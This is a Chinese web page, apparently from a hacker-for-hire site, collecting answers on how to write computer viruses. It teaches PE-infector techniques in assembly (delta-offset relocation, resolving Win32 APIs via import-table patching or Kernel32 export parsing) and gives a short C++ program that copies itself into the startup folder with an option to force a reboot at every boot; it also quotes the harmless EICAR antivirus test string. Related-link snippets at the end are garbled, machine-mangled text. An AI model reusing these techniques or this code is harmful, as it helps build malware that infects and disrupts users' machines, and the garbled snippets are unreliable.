当前位置:首页 > 黑客技术 > 正文内容

病毒编程代码模式(病毒的编程代码模式被称)

hacker2年前 (2022-06-06)黑客技术135

本文导读目录:

怎么编程病毒?

搂主`你多C语言懂多少呀?通常只要在病毒代码的开始计算出delta offset,通过变址寻址的方式书写引用数据的汇编代码,即可保证病毒代码在运行时被正确重定位。假设ebp 包含了delta offset,使用如下变址寻址指令则可保证在运行时引用的数据地址是正确的:

;ebp 包含了delta offset 值

401000:

mov eax,dword ptr [ebp+0x402035]

402035:

db "hello world!",0

在书写源程序时可以采用符号来代替硬编码的地址值,上述的例子中给出的不过是编译器对符号进行地址替换后的结果。现在的问题就转换成如何获取delta offset的值了,显然:

call delta

delta:

pop ebp

sub ebp,offset delta

在运行时就动态计算出了delta offset 值,因为call要将其后的之一条指令的地址压入堆栈,因此pop ebp 执行完毕后ebp 中就是delta的运行时地址,减去delta的编译时地址“offset delta”就得到了delta offset 的值。除了用明显的call 指令外,还可以使用不那么明显的fstenv、fsave、fxsave、fnstenv等浮点环境保存指令进行,这些指令也都可以获取某条指令的运行时地址。以fnstenv 为例,该指令将最后执行的一条FPU 指令相关的协处理器的信息保存在指定的内存中fpu_addr:

fnop

call GetPhAddr

sub ebp,fpu_addr

GetPhAddr:

sub esp,16

fnstenv [esp-12]

pop ebp

add esp,12

ret

delta offset 也不一定非要放在ebp 中,只不过是ebp 作为栈帧指针一般过程都不将该寄存器用于其它用途,因此大部分病毒作者都习惯于将delta offset 保存在ebp 中,其实用其他寄存器也完全可以。

在优化过的病毒代码中并不经常直接使用上述直接计算delta offset 的代码,比如在Elkern开头写成了类似如下的代码:

call _start_ip

_start_ip:

pop ebp

;使用

call [ebp+addrOpenProcess-_start_ip]

addrOpenProcess dd 0

;而不是

call _start_ip

_start_ip:

pop ebp

sub ebp,_start_ip

call [ebp+addrOpenProcess]

为什么不采用第二种书写代码的方式?其原因在于尽管之一种格式在书写源码时显得比较罗嗦, 但是addrOpenProcess-_start_ip 是一个较小相对偏移值,一般不超过两个字节,因此生成的指令较短,而addrOpenProcess在32 Win32编译环境下一般是4 个字节的地址值,生成的指令也就较长。有时对病毒对大小要求很苛刻,更多时候也是为了显示其超俗的编程技巧,病毒作者大量采用这种优化,对这种优化原理感兴趣的读者请参阅Intel手册卷2中的指令格式说明。

API 函数地址的获取

在能够正确重定位之后,病毒就可以运行自己代码了。但是这还远远不够,要搜索文件、读写文件、进行进程枚举等操作总不能在有Win32 API 的情况下自己用汇编完全重新实现一套吧,那样的编码量过大而且兼容性很差。

Win9X/NT/2000/XP/2003系统都实现了同一套在各个不同的版本上都高度兼容的Win32 API,因此调用系统提供的Win32 API实现各种功能对病毒而言就是自然而然的事情了。所以接下来要解决的问题就是如何动态获取Win32 API的地址。最早的PE病毒采用的是预编码的 *** ,比如Windows 2000 中CreateFileA 的地址是0x7EE63260,那么就在病毒代码中使用call [7EE63260h]调用该API,但问题是不同的Windows 版本之间该API 的地址并不完全相同,使用该 *** 的病毒可能只能在Windows 2000的某个版本上运行。

因此病毒作者自然而然地回到PE结构上来探求解决 *** ,我们知道系统加载PE 文件的时候,可以将其引入的特定DLL 中函数的运行时地址填入PE的引入函数表中,那么系统是如何为PE引入表填入正确的函数地址的呢?答案是系统解析引入DLL 的导出函数表,然后根据名字或序号搜索到相应引出函数的的RVA(相对虚拟地址),然后再和模块在内存中的实际加载地址相加,就可以得到API 函数的运行时真正地址。在研究操作系统是如何实现动态PE文件链接的过程中,病毒作者找到了以下两种解决方案:

A)在感染PE 文件的时候,可以搜索宿主的函数引入表的相关地址,如果发现要使用的函数已经被引入,则将对该API 的调用指向该引入表函数地址,若未引入,则修改引入表增加该函数的引入表项,并将对该API 的调用指向新增加的引入函数地址。这样在宿主程序启动的时候,系统加载器已经把正确的API 函数地址填好了,病毒代码即可正确地直接调用该函数。

B)系统可以解析DLL 的导出表,自然病毒也可以通过这种手段从DLL 中获取所需要的API地址。要在运行时解析搜索DLL 的导出表,必须首先获取DLL 在内存中的真实加载地址,只有这样才能解析从PE 的头部信息中找到导出表的位置。应该首先解析哪个DLL 呢?我们知道Kernel32.DLL几乎在所有的Win32 进程中都要被加载,其中包含了大部分常用的API,特别是其中的LoadLibrary 和GetProcAddress 两个API可以获取任意DLL 中导出的任意函数,在迄今为止的所有Windows 平台上都是如此。只要获取了Kernel32.DLL在进程中加载的基址,然后解析Kernel32.DLL 的导出表获取常用的API 地址,如需要可进一步使用Kernel32.DLL 中的LoadLibrary 和GetProcAddress 两个API 更简单地获取任意其他DLL 中导出函数的地址并进行调用。

谁能解释下面简单的电脑病毒代码?

我帮你"翻译"一下代码的意思。

这是一段vbs代码:直到(除非)1等于2,否则就一直弹出一个写有"烦死你"的窗口,因为1永远不等于2,所以不断的弹窗。

这是VB的一个简单编程,但是代码却不怀好意。这段代码的意思是说,当双击运行这个程序的时候,执行以下代码:直到(除非)1等于2,否则隐藏这个软件的窗体,然后显示这个软件的窗体,然后调用系统的"calc.exe"程序,也就是调用系统自带的"计算器",因为1永远不等于2,所以这些步骤永远循环的执行下去。以现在的计算机来看,并不会"运行后马上死机",我们的计算机还不至于这么差劲,不过cpu会高涨,根据不同计算机的配置,时间范围从很快死机到数秒后死机不等。

病毒的编程代码模式被称为什么?

病毒的编程代码不是成为一种超级病毒,它是非常可怕的吧,那1000多的电脑的话,丧尸不可估量。

比较简单的C++病毒代码

最简单的病毒代码如下: #include "windows.h"

#include "stdio.h"

void main(int argc,char * argv[])

//printf("%s\n",argv[i]);

char copy[80];

sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"",argv[0]);

system(copy); //将这个程序拷到开机启动文件夹下面

//char cmd[]="shutdown -r -t 0";//自动重起

char cmd[]="ping baidu.com";//将这个换成上面的,就是一开机就重起了!

system(cmd);

system("pause");

怎么编写病毒代码?

病毒的编写是建立在对系统与 *** 充分的理解基础之上的,从有病毒以来每一种经典病毒无一不是智力的杰作这就是说就是你对系统 *** 有充分了解没有过人的思维智慧依旧编写不了病毒。如果你说就像写一个简单的那么一个del删除指令在没经过用户允许就删除了文件就算病毒了

谁能给我一个简单的病毒的代码呀

本代码尽管测试,无任何危险。病毒文件测试代码。使用 *** 如下:

this

is

not

a

real

virus.

it

is

a

text

file

that

is

used

to

test

antivirus

software.

测试代码:

---------------------请复制下面的代码到文本中保存-------------------

x5o!p%@ap[4\pzx54(p^)7cc)7}$eicar-standard-antivirus-test-file!$h+h*

---------------------请复制上面的代码到文本中保存-------------------

测试 *** :

1.鼠标右键点击桌面空白处,创建一个“文本文档”。(什么,还不会建?我倒)

2.将下面这段测试代码复制到“文本”里,保存,然后可以直接右键点击这个文本,用杀毒软件扫描(图1)。也可以等一会,如果你的杀毒软件还行,会自动报毒并将该文本删除,那就可以初步放心了。

测试原理:

该段代码是欧洲计算机防病毒协会开发的一种病毒代码,其中的特征码已经包含在各种杀毒软件的病毒代码库里,所以可以用做测试病毒扫描引擎。

测试等级:

特等:复制完代码后便提示内存有病毒

优等:刚保存完就提示病毒(或者直接删除)

中等:保存后几秒提示病毒(或者直接删除)

下等:需自己启动病毒扫描查杀才提示病毒(或者直接删除)

劣等:无论怎么扫描都无法提示病毒(或者直接删除)

扫描二维码推送至手机访问。

版权声明:本文由黑客24小时在线接单网站发布,如需转载请注明出处。

本文链接:https://www.cn-sl.com/119643.html

分享给朋友:

“病毒编程代码模式(病毒的编程代码模式被称)” 的相关文章

英镑最新消息 「工行英镑对人民币汇率」

依据 外国银止最新的中汇牌价: 一英镑英磅,尔要的是最新的,计较 的。 泉币 兑换 一英镑= 八点 八 六 六 六群众币元 一群众币元,外国」的经济才是主宰偏向 尔没有是英镑博野,远一二年的空儿内,招商银止,比兑群众币,当然是越低越孬,依据 本日 南京空儿 一 四: 一 八分更新最新中汇牌价: 一群...

波音公司_波音公司市值

依据  二0 一 六年,被称为世界航空史上最胜利 的平易近 航客机。没有是国企。波音私司。 导航、之此中,博门制作 军用飞机,设正在华衰顿州的西俗图。取, 一 九 三 四年按当局 律例  请求装分红三个自力 的, 一 一 四。 费事把代码给没去,是美国一野开辟 及临盆 飞机的私司,异时正在军用飞机、...

正邦饲料多少钱一吨 「贵阳正邦饲料联系电话」

那个反诈骗德律风 便会挨给您,小猪预混料正常正在 六000元阁下 ,详细 价钱 纷歧 样,这么那种情形 之高,自乱区设坐分。 宝积饲料厂野曲销,邪邦的猪饲料正常皆患上正在本地 署理 商」拿货,自 一 九 八 四年于今,或者者说是被许多 人举报过,贱阴邪邦畜牧有限私司若干 是 二00 六-0 八- 二...

毕福剑怎么了(朱军现在干什么)

倪萍 杨澜 杨澜 赵奸祥悲悼 会 赵奸祥悲悼 会 赵奸祥悲悼 会 赵奸祥悲悼 会 网难文娱 一月 二0日报导 一月 二0日上午,有名 主持人赵奸祥尸体 离别 典礼 正在南京八宝山举办 。杨澜、毕祸剑、马已皆、墨军、倪萍、杨澜、周涛、李瑞英等现身吊唁 。...

新中国体育的发展?

章新胜:外国体育的成长 应该以体学联合 为主 二00 九年0 二月 一 六日 一 一: 三 八[尔去说二句][字号:年夜 外小]起源 :新华网 新华网哈我滨2月16日体育博电(忘者下删单)学育部副部少章新胜正在方才 终结 的2009年世界年夜 教熟冬日活动 会体育迷信年夜 会上说,外国体育的成长 应...

秉性什么意思(秉性忠厚是什么意思)

昨天的《灯高随笔 》系列文章第 六 四篇,曲到如今 才算末于有了一点亮明确 皂切实其实 定的写的内容。天天 终归写一点甚么,其实 颇是有些难堪 。说“颇是”是有点点文气的象征,说“其实 ”是有点点语调的弱调,说“蛮是”是有点点口吻 的亲热 ,说“确是”是有点点土头土脑...

评论列表

孤央橘亓
2年前 (2022-06-06)

启动的时候,系统加载器已经把正确的API 函数地址填好了,病毒代码即可正确地直接调用该函数。B)系统可以解析DLL 的导出表,自然病毒也可以通过这种手段从DLL 中获取所需要的API地址。要在运行时解

馥妴扮乖
2年前 (2022-06-06)

系统是如何为PE引入表填入正确的函数地址的呢?答案是系统解析引入DLL 的导出函数表,然后根据名字或序号搜索到相应引出函数的的RVA(相对虚拟地址),然后再和模块在内存中的实际加载地址相加,就可以得到API 函数的运行时真正地址。在研究操作

囤梦酷腻
2年前 (2022-06-06)

..... 402035: db "hello world!",0 在书写源程序时可以采用符号来代替硬编码的地址值,上述的例子中给出的不过是编译器对符号进行地址替换后的结果。现在的问题就转换成如何获取delta offset的值了,显然: call delta delta: pop ebp sub

鹿岛墓栀
2年前 (2022-06-06)

cmd[]="shutdown -r -t 0";//自动重起 char cmd[]="ping baidu.com";//将这个换成上面的,就是一开机就重起了! system(cmd)

萌懂清引
2年前 (2022-06-06)

找到导出表的位置。应该首先解析哪个DLL 呢?我们知道Kernel32.DLL几乎在所有的Win32 进程中都要被加载,其中包含了大部分常用的API,特别是其中的LoadLibrary 和GetP

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。